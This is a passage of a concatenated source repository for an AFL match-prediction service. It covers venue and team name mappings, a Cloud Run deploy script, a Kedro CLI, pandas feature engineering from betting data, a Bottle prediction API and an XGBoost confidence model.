Bears": "Brisbane", "Gold Coast Suns": "Gold Coast", "Geelong Cats": "Geelong", "West Coast Eagles": "West Coast", "Sydney Swans": "Sydney", } # For when we fetch upcoming matches in the fixture and need to make Footywire venue # names consistent with AFL tables venue names FOOTYWIRE_VENUE_TRANSLATIONS = { "AAMI Stadium": "Football Park", "ANZ Stadium": "Stadium Australia", "UTAS Stadium": "York Park", "Blacktown International": "Blacktown", "Blundstone Arena": "Bellerive Oval", "Domain Stadium": "Subiaco", "Etihad Stadium": "Docklands", "GMHBA Stadium": "Kardinia Park", "MCG": "M.C.G.", "Mars Stadium": "Eureka Stadium", "Metricon Stadium": "Carrara", "Optus Stadium": "Perth Stadium", "SCG": "S.C.G.", "Spotless Stadium": "Sydney Showground", "Showground Stadium": "Sydney Showground", "TIO Stadium": "Marrara Oval", "Westpac Stadium": "Wellington", # Not copy-pasta: AFL Tables calls it Wellington "Marvel Stadium": "Docklands", "Canberra Oval": "Manuka Oval", "TIO Traeger Park": "Traeger Park", # Correct spelling is 'Traeger', but footywire.com is spelling it 'Traegar' in its # fixtures, so including both in case they eventually fix the misspelling "TIO Traegar Park": "Traeger Park", "GIANTS Stadium": "Sydney Showground", } CITIES: Dict[str, Dict[str, Union[str, float]]] = { "Adelaide": { "state": "SA", "lat": -34.9285, "long": 138.6007, "timezone": "Australia/Adelaide", }, "Sydney": { "state": "NSW", "lat": -33.8688, "long": 151.2093, "timezone": "Australia/Sydney", }, "Melbourne": { "state": "VIC", "lat": -37.8136, "long": 144.9631, "timezone": "Australia/Melbourne", }, "Geelong": { "state": "VIC", "lat": -38.1499, "long": 144.3617, "timezone": "Australia/Melbourne", }, "Perth": { "state": "WA", "lat": -31.9505, "long": 115.8605, "timezone": "Australia/Perth", }, "Gold Coast": { "state": "QLD", "lat": -28.0167, "long": 153.4000, "timezone": "Australia/Brisbane", }, "Brisbane": { "state": "QLD", "lat": -27.4698, "long": 153.0251, "timezone": "Australia/Brisbane", }, "Launceston": { "state": "TAS", "lat": -41.4332, "long": 147.1441, "timezone": "Australia/Hobart", }, "Canberra": { "state": "ACT", "lat": -35.2809, "long": 149.1300, "timezone": "Australia/Sydney", }, "Hobart": { "state": "TAS", "lat": -42.8821, "long": 147.3272, "timezone": "Australia/Hobart", }, "Darwin": { "state": "NT", "lat": -12.4634, "long": 130.8456, "timezone": "Australia/Darwin", }, "<NAME>": { "state": "NT", "lat": -23.6980, "long": 133.8807, "timezone": "Australia/Darwin", }, "Wellington": { "state": "NZ", "lat": -41.2865, "long": 174.7762, "timezone": "Pacific/Auckland", }, "Euroa": { "state": "VIC", "lat": -36.7500, "long": 145.5667, "timezone": "Australia/Melbourne", }, "Yallourn": { "state": "VIC", "lat": -38.1803, "long": 146.3183, "timezone": "Australia/Melbourne", }, "Cairns": { "state": "QLD", "lat": -6.9186, "long": 145.7781, "timezone": "Australia/Brisbane", }, "Ballarat": { "state": "VIC", "lat": -37.5622, "long": 143.8503, "timezone": "Australia/Melbourne", }, "Shanghai": { "state": "CHN", "lat": 31.2304, "long": 121.4737, "timezone": "Asia/Shanghai", }, "Albury": { "state": "NSW", "lat": -36.0737, "long": 146.9135, "timezone": "Australia/Sydney", }, "Townsville": { "state": "QLD", "lat": -19.2590, "long": 146.8169, "timezone": "Australia/Brisbane", }, } TEAM_CITIES = { "Adelaide": "Adelaide", "Brisbane": "Brisbane", "Carlton": "Melbourne", "Collingwood": "Melbourne", "Essendon": "Melbourne", "Fitzroy": "Melbourne", "Western Bulldogs": "Melbourne", "Fremantle": "Perth", "GWS": "Sydney", "Geelong": "Geelong", "Gold Coast": "Gold Coast", "Hawthorn": "Melbourne", "Melbourne": "Melbourne", "North Melbourne": "Melbourne", "Port Adelaide": "Adelaide", "Richmond": "Melbourne", "St Kilda": "Melbourne", "Sydney": "Sydney", "University": "Melbourne", "West Coast": "Perth", } VENUE_CITIES = { # AFL Tables venues "Football Park": "Adelaide", "S.C.G.": "Sydney", "Windy Hill": "Melbourne", "Subiaco": "Perth", "Moorabbin Oval": "Melbourne", "M.C.G.": "Melbourne", "Kardinia Park": "Geelong", "Victoria Park": "Melbourne", "Waverley Park": "Melbourne", "Princes Park": "Melbourne", "Western Oval": "Melbourne", "W.A.C.A.": "Perth", "Carrara": "Gold Coast", "Gabba": "Brisbane", "Docklands": "Melbourne", "York Park": "Launceston", "Manuka Oval": "Canberra", "Sydney Showground": "Sydney", "Adelaide Oval": "Adelaide", "Bellerive Oval": "Hobart", "Marrara Oval": "Darwin", "Traeger Park": "Alice Springs", "Perth Stadium": "Perth", "Stadium Australia": "Sydney", "Wellington": "Wellington", "Lake Oval": "Melbourne", "East Melbourne": "Melbourne", "Corio Oval": "Geelong", "Junction Oval": "Melbourne", "Brunswick St": "Melbourne", "Punt Rd": "Melbourne", "Glenferrie Oval": "Melbourne", "Arden St": "Melbourne", "Olympic Park": "Melbourne", "Yarraville Oval": "Melbourne", "Toorak Park": "Melbourne", "Euroa": "Euroa", "Coburg Oval": "Melbourne", "Brisbane Exhibition": "Brisbane", "North Hobart": "Hobart", "Bruce Stadium": "Canberra", "Yallourn": "Yallourn", "Cazaly's Stadium": "Cairns", "Eureka Stadium": "Ballarat", "Blacktown": "Sydney", "Jiangwan Stadium": "Shanghai", "Albury": "Albury", "Riverway Stadium": "Townsville", # Footywire venues "AAMI Stadium": "Adelaide", "ANZ Stadium": "Sydney", "UTAS Stadium": "Launceston", "Blacktown International": "Sydney", "Blundstone Arena": "Hobart", "Domain Stadium": "Perth", "Etihad Stadium": "Melbourne", "GMHBA Stadium": "Geelong", "MCG": "Melbourne", "Mars Stadium": "Ballarat", "Metricon Stadium": "Gold Coast", "Optus Stadium": "Perth", "SCG": "Sydney", "Spotless Stadium": "Sydney", "TIO Stadium": "Darwin", "Westpac Stadium": "Wellington", "Marvel Stadium": "Melbourne", "Canberra Oval": "Canberra", "TIO Traeger Park": "Alice Springs", # Correct spelling is 'Traeger', but footywire.com is spelling it 'Traegar' in its # fixtures, so including both in case they eventually fix the misspelling "TIO Traegar Park": "Alice Springs", } DEFUNCT_TEAM_NAMES = ["Fitzroy", "University"] TEAM_NAMES = sorted(DEFUNCT_TEAM_NAMES + list(set(TEAM_TRANSLATIONS.values()))) VENUES = list(set(VENUE_CITIES.keys())) VENUE_TIMEZONES = { venue: CITIES[city]["timezone"] for venue, city in VENUE_CITIES.items() } ROUND_TYPES = ["Finals", "Regular"] INDEX_COLS = ["team", "year", "round_number"] SEED = 42 AVG_SEASON_LENGTH = 23 CATEGORY_COLS = ["team", "oppo_team", "round_type", "venue"] LAST_SEASON_PLAYED = 2021 CV_YEAR_RANGE = (LAST_SEASON_PLAYED - 5, LAST_SEASON_PLAYED) TRAIN_YEAR_RANGE = (LAST_SEASON_PLAYED - 2,) VALIDATION_YEAR_RANGE = (LAST_SEASON_PLAYED - 2, LAST_SEASON_PLAYED) TEST_YEAR_RANGE = (LAST_SEASON_PLAYED, LAST_SEASON_PLAYED + 1) FULL_YEAR_RANGE = (LAST_SEASON_PLAYED + 1,) <file_sep>/scripts/deploy.sh #!/bin/bash set -euo pipefail PORT=8008 gcloud builds submit --config cloudbuild.yaml --quiet GOOGLE_ENV_VARS=" AFL_DATA_SERVICE=${AFL_DATA_SERVICE},\ AFL_DATA_SERVICE_TOKEN=${AFL_DATA_SERVICE_TOKEN},\ DATA_SCIENCE_SERVICE_TOKEN=${DATA_SCIENCE_SERVICE_TOKEN},\ PYTHON_ENV=production,\ ROLLBAR_TOKEN=${ROLLBAR_TOKEN},\ TIPRESIAS_APP_TOKEN=${TIPRESIAS_APP_TOKEN},\ GIT_PYTHON_REFRESH=quiet " gcloud run deploy augury \ --quiet \ --image gcr.io/${PROJECT_ID}/augury \ --memory 4Gi \ --timeout 900 \ --region australia-southeast1 \ --max-instances 5 \ --concurrency 1 \ --platform managed \ --update-env-vars ${GOOGLE_ENV_VARS} <file_sep>/src/tests/unit/data_import/test_base_data.py # pylint: disable=missing-module-docstring, missing-function-docstring # pylint: disable=missing-class-docstring from unittest import TestCase import responses from augury.data_import.base_data import ( fetch_afl_data, LOCAL_AFL_DATA_SERVICE, ) FAKE_JSON = {"data": [{"number": 5, "name": "bob"}, {"number": 454, "name": "jim"}]} class TestBaseData(TestCase): def setUp(self): self.add_success_response = lambda: responses.add( responses.GET, f"{LOCAL_AFL_DATA_SERVICE}/data", json=FAKE_JSON, status=200 ) self.add_failure_response = lambda: responses.add( responses.GET, f"{LOCAL_AFL_DATA_SERVICE}/data", json={"error": "bad things"}, status=500, ) @responses.activate def test_fetch_afl_data(self): self.add_success_response() res = fetch_afl_data("/data") self.assertEqual(res, FAKE_JSON.get("data")) with self.subTest("when first response isn't 200"): self.add_failure_response() self.add_success_response() res = fetch_afl_data("/data") self.assertEqual(res, FAKE_JSON.get("data")) with self.subTest("when the retry returns a failure response"): self.add_failure_response() self.add_failure_response() with self.assertRaises(Exception): fetch_afl_data("/data") <file_sep>/src/augury/cli.py # Copyright 2021 QuantumBlack Visual Analytics Limited # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, # EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES # OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, AND # NONINFRINGEMENT. IN NO EVENT WILL THE LICENSOR OR OTHER CONTRIBUTORS # BE LIABLE FOR ANY CLAIM, DAMAGES, OR OTHER LIABILITY, WHETHER IN AN # ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF, OR IN # CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. # # The QuantumBlack Visual Analytics Limited ("QuantumBlack") name and logo # (either separately or in combination, "QuantumBlack Trademarks") are # trademarks of QuantumBlack. The License does not grant you any right or # license to the QuantumBlack Trademarks. You may not use the QuantumBlack # Trademarks or any confusingly similar mark as a trademark for your product, # or use the QuantumBlack Trademarks in any other manner that might cause # confusion in the marketplace, including but not limited to in advertising, # on websites, or on software. # # See the License for the specific language governing permissions and # limitations under the License. """Command line tools for manipulating a Kedro project. Intended to be invoked via `kedro`.""" import os from itertools import chain from pathlib import Path from typing import Dict, Iterable, Tuple import click from kedro.framework.cli import main as kedro_main from kedro.framework.cli.catalog import catalog as catalog_group from kedro.framework.cli.jupyter import jupyter as jupyter_group from kedro.framework.cli.pipeline import pipeline as pipeline_group from kedro.framework.cli.project import project_group from kedro.framework.cli.utils import KedroCliError, env_option, split_string from kedro.framework.session import KedroSession from kedro.utils import load_obj from augury import settings CONTEXT_SETTINGS = dict(help_option_names=["-h", "--help"]) # get our package onto the python path PROJ_PATH = Path(__file__).resolve().parent ENV_ARG_HELP = """Run the pipeline in a configured environment. If not specified, pipeline will run using environment `local`.""" FROM_INPUTS_HELP = ( """A list of dataset names which should be used as a starting point.""" ) FROM_NODES_HELP = """A list of node names which should be used as a starting point.""" TO_NODES_HELP = """A list of node names which should be used as an end point.""" NODE_ARG_HELP = """Run only nodes with specified names.""" RUNNER_ARG_HELP = """Specify a runner that you want to run the pipeline with. Available runners: `SequentialRunner`, `ParallelRunner` and `ThreadRunner`. This option cannot be used together with --parallel.""" PARALLEL_ARG_HELP = """Run the pipeline using the `ParallelRunner`. If not specified, use the `SequentialRunner`. This flag cannot be used together with --runner.""" ASYNC_ARG_HELP = """Load and save node inputs and outputs asynchronously with threads. If not specified, load and save datasets synchronously.""" TAG_ARG_HELP = """Construct the pipeline using only nodes which have this tag attached. Option can be used multiple times, what results in a pipeline constructed from nodes having any of those tags.""" LOAD_VERSION_HELP = """Specify a particular dataset version (timestamp) for loading.""" CONFIG_FILE_HELP = """Specify a YAML configuration file to load the run command arguments from. If command line arguments are provided, they will override the loaded ones.""" PIPELINE_ARG_HELP = """Name of the modular pipeline to run. If not set, the project pipeline is run by default.""" PARAMS_ARG_HELP = """Specify extra parameters that you want to pass to the context initializer. Items must be separated by comma, keys - by colon, example: param1:value1,param2:value2. Each parameter is split by the first comma, so parameter values are allowed to contain colons, parameter keys are not.""" def _config_file_callback(ctx, param, value): # pylint: disable=unused-argument """Config file callback, that replaces command line options with config file values. If command line options are passed, they override config file values. """ # for performance reasons import anyconfig # pylint: disable=import-outside-toplevel ctx.default_map = ctx.default_map or {} section = ctx.info_name if value: config = anyconfig.load(value)[section] ctx.default_map.update(config) return value def _get_values_as_tuple(values: Iterable[str]) -> Tuple[str, ...]: return tuple(chain.from_iterable(value.split(",") for value in values)) def _reformat_load_versions( # pylint: disable=unused-argument ctx, param, value ) -> Dict[str, str]: """Reformat data structure from tuple to dictionary for `load-version`, e.g.: ('dataset1:time1', 'dataset2:time2') -> {"dataset1": "time1", "dataset2": "time2"}. """ load_versions_dict = {} for load_version in value: load_version_list = load_version.split(":", 1) if len(load_version_list) != 2: raise KedroCliError( f"Expected the form of `load_version` to be " f"`dataset_name:YYYY-MM-DDThh.mm.ss.sssZ`," f"found {load_version} instead" ) load_versions_dict[load_version_list[0]] = load_version_list[1] return load_versions_dict def _split_params(ctx, param, value): if isinstance(value, dict): return value result = {} for item in split_string(ctx, param, value): item = item.split(":", 1) if len(item) != 2: ctx.fail( f"Invalid format of `{param.name}` option: " f"Item `{item[0]}` must contain " f"a key and a value separated by `:`." ) key = item[0].strip() if not key: ctx.fail( f"Invalid format of `{param.name}` option: Parameter key " f"cannot be an empty string." ) value = item[1].strip() result[key] = _try_convert_to_numeric(value) return result def _try_convert_to_numeric(value): try: value = float(value) except ValueError: return value return int(value) if value.is_integer() else value @click.group(context_settings=CONTEXT_SETTINGS, name=__file__) def cli(): """Command line tools for manipulating a Kedro project.""" @cli.command() @click.option( "--from-inputs", type=str, default="", help=FROM_INPUTS_HELP, callback=split_string ) @click.option( "--from-nodes", type=str, default="", help=FROM_NODES_HELP, callback=split_string ) @click.option( "--to-nodes", type=str, default="", help=TO_NODES_HELP, callback=split_string ) @click.option("--node", "-n", "node_names", type=str, multiple=True, help=NODE_ARG_HELP) @click.option( "--runner", "-r", type=str, default=None, multiple=False, help=RUNNER_ARG_HELP ) @click.option("--parallel", "-p", is_flag=True, multiple=False, help=PARALLEL_ARG_HELP) @click.option("--async", "is_async", is_flag=True, multiple=False, help=ASYNC_ARG_HELP) @env_option @click.option("--tag", "-t", type=str, multiple=True, help=TAG_ARG_HELP) @click.option( "--load-version", "-lv", type=str, multiple=True, help=LOAD_VERSION_HELP, callback=_reformat_load_versions, ) @click.option("--pipeline", type=str, default=None, help=PIPELINE_ARG_HELP) @click.option( "--config", "-c", type=click.Path(exists=True, dir_okay=False, resolve_path=True), help=CONFIG_FILE_HELP, callback=_config_file_callback, ) @click.option( "--params", type=str, default="", help=PARAMS_ARG_HELP, callback=_split_params ) def run( tag, env, parallel, runner, is_async, node_names, to_nodes, from_nodes, from_inputs, load_version, pipeline, config, # pylint: disable=unused-argument params, ): """Run the pipeline.""" if parallel and runner: raise KedroCliError( "Both --parallel and --runner options cannot be used together. " "Please use either --parallel or --runner." ) runner = runner or "SequentialRunner" if parallel: runner = "ParallelRunner" runner_class = load_obj(runner, "kedro.runner") tag = _get_values_as_tuple(tag) if tag else tag node_names = _get_values_as_tuple(node_names) if node_names else node_names with KedroSession.create( settings.PACKAGE_NAME, project_path=settings.BASE_DIR, env=env, extra_params=params, ) as session: session.run( tags=tag, runner=runner_class(is_async=is_async), node_names=node_names, from_nodes=from_nodes, to_nodes=to_nodes, from_inputs=from_inputs, load_versions=load_version, pipeline_name=pipeline, ) cli.add_command(pipeline_group) cli.add_command(catalog_group) cli.add_command(jupyter_group) for command in project_group.commands.values(): cli.add_command(command) if __name__ == "__main__": os.chdir(str(PROJ_PATH)) kedro_main() <file_sep>/notebooks/src/data/preprocessing.py import re import pandas as pd import numpy as np from augury.settings import RAW_DATA_DIR def raw_betting_df(path=f"{RAW_DATA_DIR}/afl_betting.json"): raw_df = pd.read_json(path, convert_dates=["date"]).set_index(["date", "venue"]) home_df = ( raw_df[raw_df["home"] == 1] .drop("home", axis=1) .rename(columns=lambda x: f"home_{x}") ) away_df = ( raw_df[raw_df["home"] == 0] .drop("home", axis=1) .rename(columns=lambda x: f"away_{x}") ) return ( home_df.merge(away_df, on=("date", "venue")) .reset_index() .set_index(["date", "venue", "home_team", "away_team"]) ) def raw_match_df(path=f"{RAW_DATA_DIR}/ft_match_list.json"): return ( pd.read_json(path, convert_dates=["date"]) .rename(columns={"date": "datetime"}) .assign(date=lambda x: x["datetime"].map(lambda y: y.date())) .set_index(["date", "venue", "home_team", "away_team"]) ) def betting_df(): return ( pd.concat([raw_match_df(), raw_betting_df()], axis=1) # The 2017 Grand Final is missing from the betting data for some reason, # but other than matches before 2010 that's the only row that should get dropped .dropna() .reset_index() .drop("date", axis=1) ) def get_round_number(x): DIGITS = re.compile(r"round\s+(\d+)$", flags=re.I) QUALIFYING = re.compile("qualifying", flags=re.I) ELIMINATION = re.compile("elimination", flags=re.I) SEMI = re.compile("semi", flags=re.I) PRELIMINARY = re.compile("preliminary", flags=re.I) GRAND = re.compile("grand", flags=re.I) digits = DIGITS.search(x) if digits is not None: return int(digits.group(1)) if QUALIFYING.search(x) is not None: return 25 if ELIMINATION.search(x) is not None: return 25 if SEMI.search(x) is not None: return 26 if PRELIMINARY.search(x) is not None: return 27 if GRAND.search(x) is not None: return 28 raise Exception(f"Round label {x} doesn't match any known patterns") def betting_model_df(test_year="2017"): df = betting_df() # Filter out 2017 & 2018 seasons, because they will eventually serve as test sets return ( df[df["datetime"] < f"{test_year}-01-01"] .assign( round_number=df["season_round"].map(get_round_number), year=df["datetime"].map(lambda x: x.year), ) .drop(["venue", "datetime", "crowd", "season_round"], axis=1) ) def team_df(df, team_type="home"): if team_type not in ("home", "away"): raise Exception( f'team_type must be either "home" or "away", but {team_type} was given.' ) oppo_team_type = "away" if team_type == "home" else "home" at_home_col = np.ones(len(df)) if team_type == "home" else np.zeros(len(df)) return ( df.rename( columns=lambda x: x.replace(f"{team_type}_", "").replace( f"{oppo_team_type}_", "oppo_" ) ) .assign(at_home=at_home_col) .set_index(["team", "year", "round_number"], drop=False) .rename_axis([None, None, None]) ) def team_betting_model_df(df): return pd.concat( [team_df(df, team_type="home"), team_df(df, team_type="away")], join="inner" ).sort_index() # Get cumulative stats by team & year, then group by team and shift one row # in order to carry over end of last season for a team's first round ranking def team_year_cum_col(df, stat_label): return ( df.groupby(level=[0, 1])[stat_label] .cumsum() .groupby(level=[0]) .shift() .rename(f"cum_{stat_label}") ) def team_year_percent(df): return ( team_year_cum_col(df, "score") / team_year_cum_col(df, "oppo_score") ).rename("cum_percent") def team_year_win_points(df): # Have to shift scores to make them last week's scores, # so ladder position is the one leading up to this week's matches wins = (df["score"] > df["oppo_score"]).rename("win") draws = (df["score"] == df["oppo_score"]).rename("draw") win_points = pd.DataFrame({"win_points": (wins * 4) + (draws * 2)}) return team_year_cum_col(win_points, "win_points") def team_year_ladder_position(df): # Pivot to get round-by-round match points and cumulative percent ladder_pivot_table = pd.concat( [team_year_percent(df), team_year_win_points(df)], axis=1 ).pivot_table( index=["year", "round_number"], values=["cum_win_points", "cum_percent"], columns="team", aggfunc={"cum_win_points": np.sum, "cum_percent": np.mean}, ) # To get round-by-round ladder ranks, we sort each round by win points & percent, # then save index numbers ladder_index = [] ladder_values = [] for idx, row in ladder_pivot_table.iterrows(): sorted_row = row.unstack(level=0).sort_values( ["cum_win_points", "cum_percent"], ascending=False ) for ladder_idx, team_name in enumerate(sorted_row.index.get_values()): ladder_index.append(tuple([team_name, *idx])) ladder_values.append(ladder_idx + 1) ladder_multi_index = pd.MultiIndex.from_tuples( ladder_index, names=("team", "year", "round_number") ) return pd.Series(ladder_values, index=ladder_multi_index, name="ladder_position") def team_year_oppo_feature(column_label): rename_columns = {"oppo_team": "team"} rename_columns[column_label] = f"oppo_{column_label}" return lambda x: ( x.loc[:, ["year", "round_number", "oppo_team", column_label]] # We switch out oppo_team for team in the index, then assign feature # as oppo_{feature_column} .rename(columns=rename_columns) .set_index(["team", "year", "round_number"]) .sort_index() ) # Function to get rolling mean without losing the first n rows of data by filling # the with an expanding mean def rolling_team_rate(series): groups = series.groupby(level=0, group_keys=False) rolling_win_rate = groups.rolling(window=23).mean() expanding_win_rate = ( groups.expanding(1).mean() # Only select rows that are NaNs in rolling series [rolling_win_rate.isna()] ) return ( pd.concat([rolling_win_rate, expanding_win_rate], join="inner") .dropna() .sort_index() ) def rolling_pred_win_rate(df): wins = df["line_odds"] < 0 draws = (df["line_odds"] == 0) * 0.5 return rolling_team_rate(wins + draws) def last_week_result(df): wins = df["last_week_score"] > df["last_week_oppo_score"] draws = (df["last_week_score"] == df["last_week_oppo_score"]) * 0.5 return wins + draws def rolling_last_week_win_rate(df): return rolling_team_rate(last_week_result(df)) # Calculate win/loss streaks. Positive result (win or draw) adds 1 (or 0.5); # negative result subtracts 1. Changes in direction (i.e. broken streak) result in # starting at 1 or -1. def win_streak(df): last_week_win_groups = ( last_week_result(df).dropna().groupby(level=0, group_keys=False) ) streak_groups = [] for group_key, group in last_week_win_groups: streaks = [] for idx, result in enumerate(group): # 1 represents win, 0.5 represents draw if result > 0: if idx == 0 or streaks[idx - 1] <= 0: streaks.append(result) else: streaks.append(streaks[idx - 1] + result) # 0 represents loss elif result == 0: if idx == 0 or streaks[idx - 1] >= 0: streaks.append(-1) else: streaks.append(streaks[idx - 1] - 1) else: raise Exception( f"No results should be negative, but {result} is at index {idx}" f"of group {group_key}" ) streak_groups.extend(streaks) return pd.Series(streak_groups, index=df.index) def cum_team_df(df): return ( df.assign( ladder_position=team_year_ladder_position, cum_percent=team_year_percent, cum_win_points=team_year_win_points, last_week_score=lambda x: x.groupby(level=0)["score"].shift(), last_week_oppo_score=lambda x: x.groupby(level=0)["oppo_score"].shift(), rolling_pred_win_rate=rolling_pred_win_rate, ) # oppo features depend on associated cumulative feature, # so they need to be assigned after .assign( oppo_ladder_position=team_year_oppo_feature("ladder_position"), oppo_cum_percent=team_year_oppo_feature("cum_percent"), oppo_cum_win_points=team_year_oppo_feature("cum_win_points"), oppo_rolling_pred_win_rate=team_year_oppo_feature("rolling_pred_win_rate"), ) # Columns that depend on last week's results depend on last_week_score # and last_week_oppo_score .assign( rolling_last_week_win_rate=rolling_last_week_win_rate, win_streak=win_streak ).assign( oppo_rolling_last_week_win_rate=team_year_oppo_feature( "rolling_last_week_win_rate" ), oppo_win_streak=team_year_oppo_feature("win_streak"), ) # Drop first round as it's noisy due to most data being from previous week's match .dropna() # Gotta drop duplicates, because <NAME> & Carlton tied a Grand Final # in 2010 and had to replay it .drop_duplicates(subset=["team", "year", "round_number"], keep="last") ) <file_sep>/app.py """API routes and request resolvers for a Bottle app.""" from typing import Dict, Any import os import sys from datetime import date from kedro.framework.session import KedroSession from bottle import Bottle, run, request, response BASE_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__))) SRC_PATH = os.path.join(BASE_DIR, "src") if SRC_PATH not in sys.path: sys.path.append(SRC_PATH) from augury import api from augury import settings IS_PRODUCTION = settings.ENV == "production" TIPRESIAS_HOST = ( "http://www.tipresias.net" if IS_PRODUCTION else "http://host.docker.internal:8000" ) PACKAGE_NAME = "augury" app = Bottle() if IS_PRODUCTION: from rollbar.contrib.bottle import RollbarBottleReporter rbr = RollbarBottleReporter( access_token=settings.ROLLBAR_TOKEN, environment=settings.ENV, ) app.install(rbr) def _run_kwargs(): run_kwargs: Dict[str, Any] = { "port": int(os.getenv("PORT", "8008")), "reloader": not IS_PRODUCTION, "host": "0.0.0.0", "server": "gunicorn", "accesslog": "-", "timeout": 1200, "workers": 1, } return run_kwargs def _unauthorized_response(): response.status = 401 return "Unauthorized" def _request_is_authorized(http_request) -> bool: auth_token = http_request.headers.get("Authorization") if ( IS_PRODUCTION and auth_token != f"Bearer {os.environ['DATA_SCIENCE_SERVICE_TOKEN']}" ): return False return True @app.route("/predictions") def predictions(): """ Generate predictions for the given year and round number. Params ------ Request with the following URL params: year_range (str, optional): Year range for which you want prediction data. Format = yyyy-yyyy. Default = current year only. round_number (int, optional): Round number for which you want prediction data. Default = All rounds for given year. ml_models (str, optional): Comma-separated list of names of ML model to use for making predictions. Default = All available models. train_models (bool, optional): Whether to train each model on earlier seasons' data before generating predictions for a given season/round. Default = False. Returns ------- Response with a body that has a JSON of prediction data. """ if not _request_is_authorized(request): return _unauthorized_response() this_year = date.today().year year_range_param = ( f"{this_year}-{this_year + 1}" if request.query.year_range in [None, ""] else request.query.year_range ) year_range = tuple([int(year) for year in year_range_param.split("-")]) round_number = request.query.round_number round_number = None if round_number in [None, ""] else int(round_number) ml_models_param = request.query.ml_models ml_models_param = ( None if ml_models_param in [None, ""] else ml_models_param.split(",") ) train_models_param = request.query.train_models train_models = train_models_param.lower() == "true" with KedroSession.create( settings.PACKAGE_NAME, env=settings.ENV, project_path=settings.BASE_DIR, extra_params={"round_number": round_number}, ): return api.make_predictions( year_range, round_number=round_number, ml_model_names=ml_models_param, train=train_models, ) @app.route("/fixtures") def fixtures(): """ Fetch fixture data for the given date range. Params ------ Request with the following URL params: start_date (string of form 'yyyy-mm-dd', required): Start of date range (inclusive) for which you want data. end_date (string of form 'yyyy-mm-dd', required): End of date range (inclusive) for which you want data. Returns ------- Response with a body that has a JSON of fixture data. """ if not _request_is_authorized(request): return _unauthorized_response() start_date = request.query.start_date end_date = request.query.end_date with KedroSession.create( settings.PACKAGE_NAME, env=settings.ENV, project_path=settings.BASE_DIR ): return api.fetch_fixture_data(start_date, end_date) @app.route("/match_results") def match_results(): """ Fetch match results data for the given round. Params ------ Request with the following URL params: round_number (int): Fetch data for the given round. If missing, will fetch all match results for the current year. Returns ------- Response with a body that has a JSON of match results data. """ if not _request_is_authorized(request): return _unauthorized_response() round_number = request.query.round_number with KedroSession.create( settings.PACKAGE_NAME, env=settings.ENV, project_path=settings.BASE_DIR ): return api.fetch_match_results_data(round_number) @app.route("/matches") def matches(): """ Fetch match data for the given date range. Params ------ Request with the following URL params: start_date (string of form 'yyyy-mm-dd', required): Start of date range (inclusive) for which you want data. end_date (string of form 'yyyy-mm-dd', required): End of date range (inclusive) for which you want data. Returns ------- Response with a body that has a JSON of match data. """ if not _request_is_authorized(request): return _unauthorized_response() start_date = request.query.start_date end_date = request.query.end_date with KedroSession.create( settings.PACKAGE_NAME, env=settings.ENV, project_path=settings.BASE_DIR ): return api.fetch_match_data(start_date, end_date) @app.route("/ml_models") def ml_models(): """ Fetch info for all available ML models. Returns ------- Response with a body that has a JSON of ML model data. """ if not _request_is_authorized(request): return _unauthorized_response() with KedroSession.create( settings.PACKAGE_NAME, env=settings.ENV, project_path=settings.BASE_DIR ): return api.fetch_ml_model_info() run(app, **_run_kwargs()) <file_sep>/src/augury/data_import/__init__.py """Module for importing data from external APIs.""" <file_sep>/src/augury/ml_estimators/confidence_estimator.py """Model for predicting percent confidence that a team will win.""" from typing import Union from sklearn.pipeline import make_pipeline, Pipeline import pandas as pd import numpy as np from xgboost import XGBClassifier from augury.sklearn.metrics import bits_objective from augury.settings import SEED from .base_ml_estimator import BaseMLEstimator, BASE_ML_PIPELINE BEST_PARAMS = { "pipeline__correlationselector__threshold": 0.04559726786512616, "xgbclassifier__booster": "gbtree", "xgbclassifier__colsample_bylevel": 0.8240329295611285, "xgbclassifier__colsample_bytree": 0.8683759333432803, "xgbclassifier__learning_rate": 0.10367196263253768, "xgbclassifier__max_depth": 8, "xgbclassifier__n_estimators": 136, "xgbclassifier__reg_alpha": 0.0851828929690012, "xgbclassifier__reg_lambda": 0.11896695316349301, "xgbclassifier__subsample": 0.8195668321302003, } PIPELINE = make_pipeline( BASE_ML_PIPELINE, XGBClassifier( random_state=SEED, objective=bits_objective, use_label_encoder=False, verbosity=0, ), ).set_params(**BEST_PARAMS) class ConfidenceEstimator(BaseMLEstimator): """Model for predicting percent confidence that a team will win. Predictions must be in the form of floats between 0 and 1, representing the predicted probability of a given team winning. """ def __init__( self, pipeline: Pipeline = PIPELINE, name: str = "confidence_estimator" ): """Instantiate a ConfidenceEstimator object. Params ------ pipeline: Pipeline of Scikit-learn estimators ending in a regressor or classifier. name: Name of the estimator for reference by Kedro data sets and filenames. """ super().__init__(pipeline=pipeline, name=name) def fit(self, X: pd.DataFrame, y: pd.Series): """Fit estimator to the data.""" # Binary classification (win vs loss) performs significantly better # than multi-class (win, draw, loss), so we'll arbitrarily round draws # down to losses and move on with our lives. y_enc = y.astype(int) self.pipeline.set_params(**{"pipeline__correlationselector__labels": y_enc}) return super().fit(X, y_enc) def predict_proba(self, X: Union[pd.DataFrame, np.ndarray]) -> np.ndarray: """Predict the probability of each class being the correct label.""" return self.pipeline.predict_proba(X) def predict(self, X: Union[pd.DataFrame, np.ndarray]) -> np.ndarray: """Predict the probability of each team winning a given match. The purpose of the ConfidenceEstimator is to predict confidence rather than classify wins and losses like a typical classifier would. """ return self.predict_proba(X)[:, -1] <file_sep>/src/augury/ml_estimators/base_ml_estimator.py """Base ML model and data classes.""" import os from typing import Optional, Union, Type from sklearn.pipeline import Pipeline, make_pipeline from sklearn.utils.metaestimators import _BaseComposition from sklearn.base import RegressorMixin, BaseEstimator from sklearn.preprocessing import OneHotEncoder, StandardScaler from sklearn.compose import ColumnTransformer import joblib import pandas as pd import numpy as np from augury.sklearn.preprocessing import ColumnDropper, CorrelationSelector from augury.settings import BASE_DIR, TEAM_NAMES, ROUND_TYPES, VENUES, CATEGORY_COLS from augury.types import R ELO_MODEL_COLS = [ "prev_match_oppo_team", "oppo_prev_match_oppo_team", "prev_match_at_home", 